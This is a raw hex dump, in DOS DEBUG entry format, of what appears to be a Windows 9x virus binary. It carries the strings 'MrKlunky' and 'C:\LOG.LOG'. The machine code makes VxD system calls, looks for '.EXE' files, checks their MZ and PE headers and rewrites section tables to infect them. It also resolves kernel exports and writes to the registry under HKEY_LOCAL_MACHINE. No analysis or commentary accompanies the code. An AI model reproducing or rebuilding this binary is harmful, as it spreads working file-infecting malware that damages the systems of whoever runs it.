+E 0200 00 10 00 00 06 00 00 00 04 1B 00 00 1B 00 00 00 +E 0210 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0220 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0230 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0240 0D D0 00 04 04 0B 00 00 00 00 00 00 45 20 00 00 +E 0250 01 00 00 00 06 00 00 00 4C 43 4F 44 00 00 01 00 +E 0260 00 00 02 00 00 00 03 00 00 00 04 00 00 00 05 00 +E 0270 00 00 06 00 08 4D 52 4B 4C 55 4E 4B 59 00 00 00 +E 0280 01 03 01 00 03 00 00 00 00 00 00 00 00 00 44 00 +E 0290 00 00 7C 00 00 00 BE 00 00 00 BE 00 00 00 BE 00 +E 02A0 00 00 BE 00 00 00 27 00 02 01 DD 04 DD 01 EA 01 +E 02B0 07 00 DC 00 01 E2 04 27 00 02 01 D3 01 CD 00 FF +E 02C0 00 27 00 02 01 DE 04 B6 00 F5 00 07 00 A8 00 01 +E 02D0 5E 08 07 00 A2 00 01 49 08 27 00 02 01 AD 08 89 +E 02E0 00 4E 01 07 00 18 00 01 50 00 07 00 F7 01 01 B5 +E 02F0 04 07 00 EA 01 01 78 07 07 00 BF 01 01 C9 04 07 +E 0300 00 B4 01 01 BD 04 07 00 A2 01 01 C5 04 07 00 8C +E 0310 01 01 49 08 07 00 87 01 01 C1 04 07 00 0B 00 01 +E 0320 E6 04 07 00 27 01 01 69 05 07 00 A8 00 01 E2 04 +E 0330 07 00 8F 00 01 DD 04 27 00 04 01 E6 04 77 00 84 +E 0340 00 F9 00 47 01 07 00 2C 00 01 DE 04 07 00 26 00 +E 0350 01 49 08 27 00 02 01 C9 04 13 00 32 00 07 00 0D +E 0360 00 01 74 05 04 00 00 00 06 00 00 00 0C 00 00 00 +E 0370 02 00 00 00 02 00 00 00 02 00 00 00 04 00 00 00 +E 0380 06 00 00 00 08 00 00 00 02 00 00 00 00 00 00 00 +E 0390 02 00 00 00 04 00 00 00 02 00 00 00 04 00 00 00 +E 03A0 02 00 00 00 04 00 00 00 04 00 00 00 04 00 00 00 +E 03B0 02 00 00 00 02 00 00 00 02 00 00 00 04 00 00 00 +E 03C0 02 00 00 00 02 00 00 00 02 00 00 00 02 00 00 00 +E 03D0 02 00 00 00 02 00 00 00 04 00 00 00 04 00 00 00 +E 03E0 02 00 00 00 00 00 00 00 04 00 00 00 FF FF FF FF +E 03F0 04 00 00 00 FF FF FF FF 04 00 00 00 FF FF FF FF +E 0400 04 00 00 00 FF FF FF FF 06 00 00 00 FF FF FF FF +E 0410 08 00 00 00 FF FF FF FF 08 00 00 00 FF FF FF FF +E 0420 1A 00 00 00 FF FF FF FF 08 00 00 00 0A 00 00 00 +E 0430 FF FF FF FF 00 00 00 00 08 00 00 00 FF FF FF FF +E 0440 08 00 00 00 FF FF FF FF 0A 00 00 00 FF FF FF FF +E 0450 22 00 00 00 FF FF FF FF 0A 00 00 00 0C 00 00 00 +E 0460 FF FF FF FF 00 00 00 00 0A 00 00 00 FF FF FF FF +E 0470 0A 00 00 00 FF FF FF FF 32 00 00 00 FF FF FF FF +E 0480 01 00 00 00 00 00 00 00 01 00 00 00 20 12 31 10 +E 0490 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 +E 04A0 05 00 00 00 00 00 00 00 00 E2 30 10 00 00 00 00 +E 04B0 03 00 00 00 00 00 00 00 02 00 00 00 28 12 31 10 +E 04C0 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 +E 04D0 03 00 00 00 30 12 31 10 00 00 00 00 00 00 00 00 +E 04E0 05 00 00 00 00 00 00 00 03 00 00 00 40 12 31 10 +E 04F0 00 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 +E 0500 01 00 00 00 4C 12 31 10 00 00 00 00 00 00 00 00 +E 0510 07 00 00 00 00 00 00 00 02 00 00 00 50 12 31 10 +E 0520 00 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 +E 0530 02 00 00 00 58 12 31 10 00 00 00 00 00 00 00 00 +E 0540 09 00 00 00 00 00 00 00 04 00 00 00 60 12 31 10 +E 0550 00 00 00 00 00 00 00 00 0A 00 00 00 00 00 00 00 +E 0560 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0570 0B 00 00 00 00 00 00 00 01 00 00 00 70 12 31 10 +E 0580 00 00 00 00 00 00 00 00 0C 00 00 00 00 00 00 00 +E 0590 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 05A0 0D 00 00 00 00 00 00 00 01 00 00 00 74 12 31 10 +E 05B0 00 00 00 00 00 00 00 00 0E 00 00 00 00 00 00 00 +E 05C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 05D0 0F 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 05E0 00 00 00 00 00 00 00 00 11 00 00 00 00 00 00 00 +E 05F0 02 00 00 00 78 12 31 10 00 00 00 00 00 00 00 00 +E 0600 12 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 +E 0610 80 E3 30 10 00 00 00 00 13 00 00 00 00 00 00 00 +E 0620 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0630 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0640 00 00 00 00 00 00 00 00 15 00 00 00 00 00 00 00 +E 0650 06 00 00 00 80 12 31 10 00 00 00 00 00 00 00 00 +E 0660 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0670 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 +E 0680 01 00 00 00 88 12 31 10 00 00 00 00 00 00 00 00 +E 0690 01 02 00 00 00 00 00 00 06 00 00 00 90 12 31 10 +E 06A0 00 00 00 00 00 00 00 00 05 02 00 00 00 00 00 00 +E 06B0 06 00 00 00 98 12 31 10 00 00 00 00 00 00 00 00 +E 06C0 02 02 00 00 00 00 00 00 01 00 00 00 A0 12 31 10 +E 06D0 00 00 00 00 00 00 00 00 03 02 00 00 00 00 00 00 +E 06E0 05 00 00 00 00 00 00 00 F0 E2 30 10 00 00 00 00 +E 06F0 04 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0700 00 00 00 00 00 00 00 00 07 02 00 00 00 00 00 00 +E 0710 05 00 00 00 00 00 00 00 20 E3 30 10 00 00 00 00 +E 0720 06 02 00 00 00 00 00 00 01 00 00 00 A4 12 31 10 +E 0730 00 00 00 00 00 00 00 00 08 02 00 00 00 00 00 00 +E 0740 01 00 00 00 A8 12 31 10 00 00 00 00 00 00 00 00 +E 0750 09 02 00 00 00 00 00 00 01 00 00 00 A8 12 31 10 +E 0760 00 00 00 00 00 00 00 00 0A 02 00 00 00 00 00 00 +E 0770 01 00 00 00 AC 12 31 10 00 00 00 00 00 00 00 00 +E 0780 0B 02 00 00 00 00 00 00 01 00 00 00 AC 12 31 10 +E 0790 00 00 00 00 00 00 00 00 0C 02 00 00 00 00 00 00 +E 07A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 07B0 05 04 00 00 00 00 00 00 01 00 00 00 B0 12 31 10 +E 07C0 00 00 00 00 F0 D9 30 10 00 04 00 00 00 00 00 00 +E 07D0 01 00 00 00 B4 12 31 10 00 00 00 00 00 DA 30 10 +E 07E0 01 04 00 00 00 00 00 00 02 00 00 00 B8 12 31 10 +E 07F0 00 00 00 00 20 DA 30 10 02 04 00 00 00 00 00 00 +E 0800 02 00 00 00 B8 12 31 10 00 00 00 00 20 DA 30 10 +E 0810 0B 04 00 00 00 00 00 00 01 00 00 00 C0 12 31 10 +E 0820 00 00 00 00 40 DA 30 10 04 04 00 00 00 00 00 00 +E 0830 01 00 00 00 C4 12 31 10 00 00 00 00 50 DA 30 10 +E 0840 06 04 00 00 00 00 00 00 01 00 00 00 C8 12 31 10 +E 0850 00 00 00 00 70 DA 30 10 07 04 00 00 00 00 00 00 +E 0860 01 00 00 00 CC 12 31 10 00 00 00 00 90 DA 30 10 +E 0870 0A 04 00 00 00 00 00 00 01 00 00 00 D0 12 31 10 +E 0880 00 00 00 00 B0 DA 30 10 0D 04 00 00 00 00 00 00 +E 0890 01 00 00 00 D4 12 31 10 00 00 00 00 C0 DA 30 10 +E 08A0 08 04 00 00 00 00 00 00 01 00 00 00 D8 12 31 10 +E 08B0 00 00 00 00 D0 DA 30 10 0C 04 00 00 00 00 00 00 +E 08C0 01 00 00 00 DC 12 31 10 00 00 00 00 F0 DA 30 10 +E 08D0 03 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 08E0 00 00 00 00 00 DB 30 10 09 04 00 00 00 00 00 00 +E 08F0 01 00 00 00 E0 12 31 10 00 00 00 00 20 DB 30 10 +E 0900 02 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 +E 0910 00 00 00 00 01 00 00 00 E8 12 31 10 0C 00 00 00 +E 0920 00 00 00 00 00 00 00 00 20 E6 30 10 00 00 00 00 +E 0930 01 00 00 00 F0 12 31 10 03 00 00 00 00 00 00 00 +E 0940 08 00 00 00 00 00 00 00 01 00 00 00 01 00 00 00 +E 0950 F8 12 31 10 04 00 00 00 00 00 00 00 06 00 00 00 +E 0960 00 00 00 00 01 00 00 00 01 00 00 00 00 13 31 10 +E 0970 0B 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 +E 0980 01 00 00 00 01 00 00 00 00 13 31 10 05 00 00 00 +E 0990 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 +E 09A0 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 +E 09B0 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 +E 09C0 00 00 00 00 09 00 00 00 00 00 00 00 08 00 00 00 +E 09D0 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 +E 09E0 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 09F0 01 00 00 00 00 00 00 00 00 00 00 00 0A 00 00 00 +E 0A00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0A10 00 00 00 00 00 00 00 00 0D 00 00 00 00 00 00 00 +E 0A20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0A30 00 00 00 00 0E 00 00 00 00 00 00 00 00 00 00 00 +E 0A40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0A50 00 01 00 00 00 00 00 00 08 00 00 00 00 00 00 00 +E 0A60 00 00 00 00 01 00 00 00 08 13 31 10 01 01 00 00 +E 0A70 00 00 00 00 0A 00 00 00 00 00 00 00 00 00 00 00 +E 0A80 01 00 00 00 10 13 31 10 02 01 00 00 00 00 00 00 +E 0A90 0A 00 00 00 00 00 00 00 01 00 00 00 01 00 00 00 +E 0AA0 18 13 31 10 04 01 00 00 00 00 00 00 1D 00 00 00 +E 0AB0 00 00 00 00 00 00 00 00 01 00 00 00 20 13 31 10 +E 0AC0 05 01 00 00 00 00 00 00 1D 00 00 00 00 00 00 00 +E 0AD0 01 00 00 00 01 00 00 00 20 13 31 10 06 01 00 00 +E 0AE0 00 00 00 00 17 00 00 00 00 00 00 00 01 00 00 00 +E 0AF0 00 00 00 00 00 00 00 00 09 01 00 00 00 00 00 00 +E 0B00 09 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 +E 0B10 00 00 00 00 07 01 00 00 00 00 00 00 12 00 00 00 +E 0B20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0B30 08 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0B40 00 00 00 00 00 00 00 00 00 00 00 00 0A 01 00 00 +E 0B50 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 +E 0B60 00 00 00 00 00 00 00 00 0A 02 00 00 00 00 00 00 +E 0B70 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 +E 0B80 00 00 00 00 0B 01 00 00 00 00 00 00 00 00 00 00 +E 0B90 00 00 00 00 01 00 00 00 02 00 00 00 28 13 31 10 +E 0BA0 0C 01 00 00 00 00 00 00 0A 00 00 00 00 00 00 00 +E 0BB0 00 00 00 00 01 00 00 00 38 13 31 10 00 02 00 00 +E 0BC0 00 00 00 00 0A 00 00 00 00 00 00 00 00 00 00 00 +E 0BD0 01 00 00 00 40 13 31 10 01 02 00 00 00 00 00 00 +E 0BE0 0C 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 +E 0BF0 48 13 31 10 02 02 00 00 00 00 00 00 0C 00 00 00 +E 0C00 00 00 00 00 01 00 00 00 01 00 00 00 48 13 31 10 +E 0C10 03 02 00 00 00 00 00 00 0C 00 00 00 00 00 00 00 +E 0C20 01 00 00 00 01 00 00 00 48 13 31 10 05 02 00 00 +E 0C30 00 00 00 00 25 00 00 00 00 00 00 00 01 00 00 00 +E 0C40 01 00 00 00 50 13 31 10 04 02 00 00 00 00 00 00 +E 0C50 25 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 +E 0C60 50 13 31 10 06 02 00 00 00 00 00 00 19 00 00 00 +E 0C70 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 +E 0C80 09 02 00 00 00 00 00 00 0B 00 00 00 00 00 00 00 +E 0C90 01 00 00 00 00 00 00 00 00 00 00 00 07 02 00 00 +E 0CA0 00 00 00 00 16 00 00 00 00 00 00 00 00 00 00 00 +E 0CB0 00 00 00 00 00 00 00 00 08 02 00 00 00 00 00 00 +E 0CC0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0CD0 00 00 00 00 0B 02 00 00 00 00 00 00 00 00 00 00 +E 0CE0 00 00 00 00 01 00 00 00 02 00 00 00 58 13 31 10 +E 0CF0 0C 02 00 00 00 00 00 00 0C 00 00 00 00 00 00 00 +E 0D00 00 00 00 00 01 00 00 00 68 13 31 10 0D 02 00 00 +E 0D10 00 00 00 00 0C 00 00 00 00 00 00 00 00 00 00 00 +E 0D20 01 00 00 00 70 13 31 10 0E 02 00 00 00 00 00 00 +E 0D30 0C 00 00 00 00 00 00 00 01 00 00 00 01 00 00 00 +E 0D40 70 13 31 10 01 03 00 00 00 00 00 00 36 00 00 00 +E 0D50 00 00 00 00 01 00 00 00 01 00 00 00 78 13 31 10 +E 0D60 00 03 00 00 00 00 00 00 36 00 00 00 00 00 00 00 +E 0D70 00 00 00 00 01 00 00 00 78 13 31 10 00 04 00 00 +E 0D80 00 00 00 00 00 00 00 00 70 E6 30 10 01 00 00 00 +E 0D90 00 00 00 00 00 00 00 00 03 04 00 00 00 00 00 00 +E 0DA0 00 00 00 00 70 E6 30 10 00 00 00 00 00 00 00 00 +E 0DB0 00 00 00 00 01 04 00 00 00 00 00 00 00 00 00 00 +E 0DC0 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 +E 0DD0 0F 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0DE0 00 00 00 00 00 00 00 00 00 00 00 00 2E 2E 5C 73 +E 0DF0 72 63 5C 63 76 72 5C 74 69 69 2E 63 70 70 00 00 +E 0E00 FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 +E 0E10 40 10 30 10 80 96 30 10 00 E8 30 10 00 00 00 00 +E 0E20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0E30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0E40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0E50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0E60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0E70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0E80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0E90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0EA0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0EB0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0EC0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0ED0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0EE0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0EF0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0F00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0F10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0F20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0F30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0F40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0F50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0F60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0F70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0F80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0F90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0FA0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0FB0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0FC0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0FD0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0FE0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0FF0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 1000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 1010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 1020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 1030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 1040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 1050 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 1060 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 1070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 1080 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 1090 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 10A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 10B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 10C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 10D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 10E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 10F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 1100 00 00 00 00 00 04 0D D0 01 01 00 00 4D 52 4B 4C +E 1110 55 4E 4B 59 00 00 00 80 00 00 00 00 00 00 00 00 +E 1120 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 1130 00 00 00 00 00 00 00 00 00 00 00 00 76 65 72 50 +E 1140 50 00 00 00 31 76 73 52 32 76 73 52 33 76 73 52 +E 1150 83 F8 02 74 19 83 F8 1B 74 14 83 F8 1C 0F 84 90 +E 1160 00 00 00 83 F8 05 0F 84 87 00 00 00 F8 C3 CD 20 +E 1170 B6 00 01 00 E8 9C 00 00 00 73 19 CD 20 B7 00 01 +E 1180 00 E8 8F 00 00 00 73 0C BE 00 00 00 00 E8 D7 00 +E 1190 00 00 72 5D B8 00 D8 00 00 CD 20 32 00 40 00 72 +E 11A0 45 A3 00 00 00 00 66 A3 00 00 00 00 91 E8 DC 00 +E 11B0 00 00 74 32 89 35 00 00 00 00 E8 06 01 00 00 72 +E 11C0 25 B8 00 D7 00 00 CD 20 32 00 40 00 B8 00 00 00 +E 11D0 00 50 CD 20 67 00 40 00 83 C4 04 A3 00 00 00 00 +E 11E0 0B C0 74 0D F8 C3 B8 00 D7 00 00 CD 20 32 00 40 +E 11F0 00 F9 C3 8B 35 00 00 00 00 E8 A6 00 00 00 B8 00 +E 1200 00 00 00 50 CD 20 68 00 40 00 83 C4 04 0B C0 75 +E 1210 02 F8 C3 F9 C3 B9 E8 03 00 00 8B FA 32 C0 F2 AE +E 1220 2B FA 57 52 B9 E8 03 00 00 E8 60 00 00 00 5F 59 +E 1230 74 36 60 87 F7 57 51 F3 A4 59 5F 51 32 C0 F2 AE +E 1240 58 2B C1 91 B0 5C FD F2 AE FC 83 C7 02 BE 00 00 +E 1250 00 00 B9 0D 00 00 00 F3 A4 61 E8 0A 00 00 00 66 +E 1260 9C E8 3E 00 00 00 66 9D C3 BB 00 FF 00 00 BA 01 +E 1270 00 00 00 EB 0A BB 02 FF 00 00 BA 11 00 00 00 B8 +E 1280 01 D5 00 00 33 C9 CD 20 32 00 40 00 93 C3 51 68 +E 1290 00 02 00 00 51 CD 20 4F 00 01 00 83 C4 08 83 F8 +E 12A0 00 96 59 C3 6A 00 56 CD 20 51 00 01 00 83 C4 08 +E 12B0 C3 51 6A 04 51 56 CD 20 50 00 01 00 83 C4 0C 96 +E 12C0 83 FE 00 59 C3 33 D2 B8 00 D6 00 00 CD 20 32 00 +E 12D0 40 00 C3 55 8B EC 83 EC 20 53 51 80 3D 00 00 00 +E 12E0 00 00 0F 85 AC 02 00 00 C6 05 00 00 00 00 01 83 +E 12F0 7D 0C 24 0F 85 94 02 00 00 B9 E8 03 00 00 E8 8B +E 1300 FF FF FF 0F 84 84 02 00 00 89 35 00 00 00 00 8B +E 1310 DE BA E7 03 00 00 8B 4D 10 80 F9 FF 74 0D 83 EA +E 1320 02 80 C1 40 88 0B 43 C6 03 3A 43 33 C9 51 52 8B +E 1330 45 1C 8B 48 0C 83 C1 04 51 53 CD 20 41 00 40 00 +E 1340 83 C4 10 8B FE 32 C0 B9 E8 03 00 00 F2 AE 0B C9 +E 1350 0F 84 2C 02 00 00 81 7F FB 2E 45 58 45 0F 85 1F +E 1360 02 00 00 B8 00 43 00 00 CD 20 32 00 40 00 0F 82 +E 1370 0E 02 00 00 51 B8 01 43 00 00 33 C9 CD 20 32 00 +E 1380 40 00 0F 82 E8 01 00 00 E8 E8 FE FF FF 0F 82 DD +E 1390 01 00 00 B9 40 00 00 00 E8 F1 FE FF FF 0F 84 BD +E 13A0 01 00 00 E8 1D FF FF FF 0F 82 B2 01 00 00 B8 00 +E 13B0 D8 00 00 CD 20 32 00 40 00 0F 82 A1 01 00 00 66 +E 13C0 81 3E 4D 5A 0F 85 96 01 00 00 81 7E 28 00 0F F0 +E 13D0 00 0F 84 89 01 00 00 8B 4E 3C 83 F9 00 0F 84 7D +E 13E0 01 00 00 3B C8 0F 8F 75 01 00 00 8B F9 83 C1 77 +E 13F0 E8 BC FE FF FF 0F 84 65 01 00 00 E8 C5 FE FF FF +E 1400 0F 82 5A 01 00 00 81 3C 37 50 45 00 00 0F 85 4D +E 1410 01 00 00 8B 4C 37 54 E8 95 FE FF FF 0F 84 3E 01 +E 1420 00 00 E8 9E FE FF FF 0F 82 33 01 00 00 C7 46 28 +E 1430 00 0F F0 00 33 C9 66 8B 4C 37 14 03 CF 83 C1 18 +E 1440 2B C1 51 33 D2 B9 28 00 00 00 F7 F1 33 D2 66 8B +E 1450 54 37 06 3B C2 0F 8E 05 01 00 00 81 FA FF FF 00 +E 1460 00 0F 8D F9 00 00 00 66 FF 44 37 06 92 F7 E1 59 +E 1470 03 C8 60 03 CE 8B 41 E4 03 41 E0 8B 5C 37 38 33 +E 1480 D2 F7 F3 40 F7 E3 A3 00 00 00 00 A1 00 00 00 00 +E 1490 05 8F 05 00 00 50 8B 5C 37 3C 33 D2 F7 F3 40 F7 +E 14A0 E3 A3 00 00 00 00 58 50 8B 5C 37 38 33 D2 F7 F3 +E 14B0 40 F7 E3 A3 00 00 00 00 8B 41 EC 03 41 E8 A3 00 +E 14C0 00 00 00 58 03 44 37 50 89 44 37 50 8B 41 E4 03 +E 14D0 41 E0 8B 5C 37 38 33 D2 F7 F3 40 F7 E3 FF 74 37 +E 14E0 28 5B 2B C3 05 07 00 00 00 A3 00 00 00 00 61 60 +E 14F0 56 57 87 F7 03 F9 BE 00 00 00 00 B9 0A 00 00 00 +E 1500 F3 A5 B8 01 D6 00 00 B9 8F 05 00 00 BE 00 00 00 +E 1510 00 8B 15 00 00 00 00 CD 20 32 00 40 00 72 3E B8 +E 1520 01 D6 00 00 8B 0D 00 00 00 00 8B 35 00 00 00 00 +E 1530 8B 15 00 00 00 00 81 C2 8F 05 00 00 CD 20 32 00 +E 1540 40 00 72 19 B8 01 D6 00 00 5F 5E 8B 4C 37 54 33 +E 1550 D2 CD 20 32 00 40 00 61 E9 8D 00 00 00 58 58 61 +E 1560 E8 3F FD FF FF B8 00 D7 00 00 CD 20 32 00 40 00 +E 1570 B8 01 43 00 00 8B 35 00 00 00 00 59 CD 20 32 00 +E 1580 40 00 8B 35 00 00 00 00 E8 17 FD FF FF C6 05 00 +E 1590 00 00 00 00 B9 06 00 00 00 BB 1C 00 00 00 8B 04 +E 15A0 2B 50 83 EB 04 E2 F7 A1 00 00 00 00 FF 10 59 5B +E 15B0 83 C4 18 C9 C3 4D 72 4B 6C 75 6E 6B 79 00 00 00 +E 15C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 15D0 00 00 00 00 00 00 00 00 00 60 00 00 E0 00 00 00 +E 15E0 00 00 00 00 00 00 00 00 00 00 B8 00 D7 00 00 CD +E 15F0 20 32 00 40 00 9C 60 8B 3D 00 00 00 00 32 C0 B9 +E 1600 E8 03 00 00 F2 AE 0B C9 74 53 B0 0D AA B8 E8 03 +E 1610 00 00 2B C1 40 50 B8 01 D5 00 00 B3 02 B7 FF 66 +E 1620 33 C9 B2 11 32 F6 BE 00 00 00 00 CD 20 32 00 40 +E 1630 00 72 2A 93 B8 00 D8 00 00 CD 20 32 00 40 00 92 +E 1640 B8 03 D6 00 00 8B 35 00 00 00 00 59 CD 20 32 00 +E 1650 40 00 B8 00 D7 00 00 CD 20 32 00 40 00 61 9D E8 +E 1660 40 FC FF FF E9 07 FF FF FF 43 3A 5C 4C 4F 47 2E +E 1670 4C 4F 47 00 50 60 E8 00 00 00 00 5D BF 00 00 F7 +E 1680 BF B9 00 10 00 00 B8 50 45 00 00 F2 AE 0F 85 E3 +E 1690 01 00 00 39 47 FF 75 F3 4F 66 81 7F 04 4C 01 75 +E 16A0 EA 66 83 7F 14 00 74 E3 66 8B 5F 16 66 81 E3 00 +E 16B0 F0 66 81 FB 00 20 75 D3 81 7F 34 00 00 F7 BF 7C +E 16C0 CA 8B 47 34 89 85 09 05 00 00 33 C0 66 8B 47 14 +E 16D0 03 C7 83 C0 18 66 8B 4F 06 81 38 2E 65 64 61 75 +E 16E0 09 81 78 04 74 61 00 00 74 10 83 C0 28 66 49 66 +E 16F0 83 F9 00 75 E4 E9 7C 01 00 00 8B 58 0C 03 9D 09 +E 1700 05 00 00 8B 7B 20 03 BD 09 05 00 00 8B 4B 14 2B +E 1710 4B 18 B8 04 00 00 00 F7 E1 89 85 11 05 00 00 8B +E 1720 4B 18 B8 04 00 00 00 F7 E1 91 87 FA 83 E9 04 8B +E 1730 FA 03 F9 8B 3F 03 BD 09 05 00 00 8D B5 5C 05 00 +E 1740 00 8D 85 58 05 00 00 E8 36 01 00 00 8D B5 73 05 +E 1750 00 00 8D 85 6F 05 00 00 E8 25 01 00 00 83 F9 00 +E 1760 75 CA 83 BD 58 05 00 00 00 0F 84 07 01 00 00 83 +E 1770 BD 6F 05 00 00 00 0F 84 FA 00 00 00 8D 85 3F 03 +E 1780 00 00 50 8B 85 6F 05 00 00 FF D0 89 85 0D 05 00 +E 1790 00 83 F8 00 0F 84 DC 00 00 00 8D 85 7E 03 00 00 +E 17A0 E8 44 01 00 00 73 11 8D 85 92 03 00 00 E8 37 01 +E 17B0 00 00 0F 82 BE 00 00 00 33 DB 33 FF 8D B5 2E 03 +E 17C0 00 00 E8 FE 00 00 00 8D 85 BE 03 00 00 50 8B 85 +E 17D0 6F 05 00 00 FF D0 89 85 0D 05 00 00 83 F8 00 0F +E 17E0 84 91 00 00 00 8D 85 D3 03 00 00 E8 BA 00 00 00 +E 17F0 0F 82 80 00 00 00 8D 9D 11 05 00 00 53 8D 9D 15 +E 1800 05 00 00 53 6A 00 68 3F 00 0F 00 6A 00 6A 00 6A +E 1810 00 8D 9D 1F 05 00 00 53 68 02 00 00 80 FF D0 83 +E 1820 F8 00 75 52 8B 9D 15 05 00 00 8D 85 E3 03 00 00 +E 1830 E8 75 00 00 00 72 2F 97 6A 01 8D 85 3E 03 00 00 +E 1840 50 6A 03 6A 00 8D 85 19 05 00 00 50 53 FF D7 6A +E 1850 0D 8D 85 32 03 00 00 50 6A 01 6A 00 8D 85 4E 05 +E 1860 00 00 50 53 FF D7 8D 85 C7 03 00 00 E8 39 00 00 +E 1870 00 72 03 53 FF D0 81 ED 00 00 00 00 89 6C 24 20 +E 1880 61 C3 60 8B 0E 83 C6 04 F3 A6 61 75 1C 96 8B 43 +E 1890 1C 03 85 11 05 00 00 03 85 09 05 00 00 03 C1 8B +E 18A0 00 03 85 09 05 00 00 89 06 C3 50 8B 85 0D 05 00 +E 18B0 00 50 FF 95 58 05 00 00 83 F8 00 75 01 F9 C3 8D +E 18C0 B5 F2 03 00 00 8D 85 54 03 00 00 E8 DA FF FF FF +E 18D0 72 15 6A 00 6A 27 53 6A 00 6A 00 57 56 FF D0 83 +E 18E0 F8 FF 74 03 93 F8 C3 F9 C3 E8 BC FF FF FF 0F 82 +E 18F0 B3 00 00 00 BB 13 01 00 00 53 8D BD F2 03 00 00 +E 1900 57 FF D0 3B 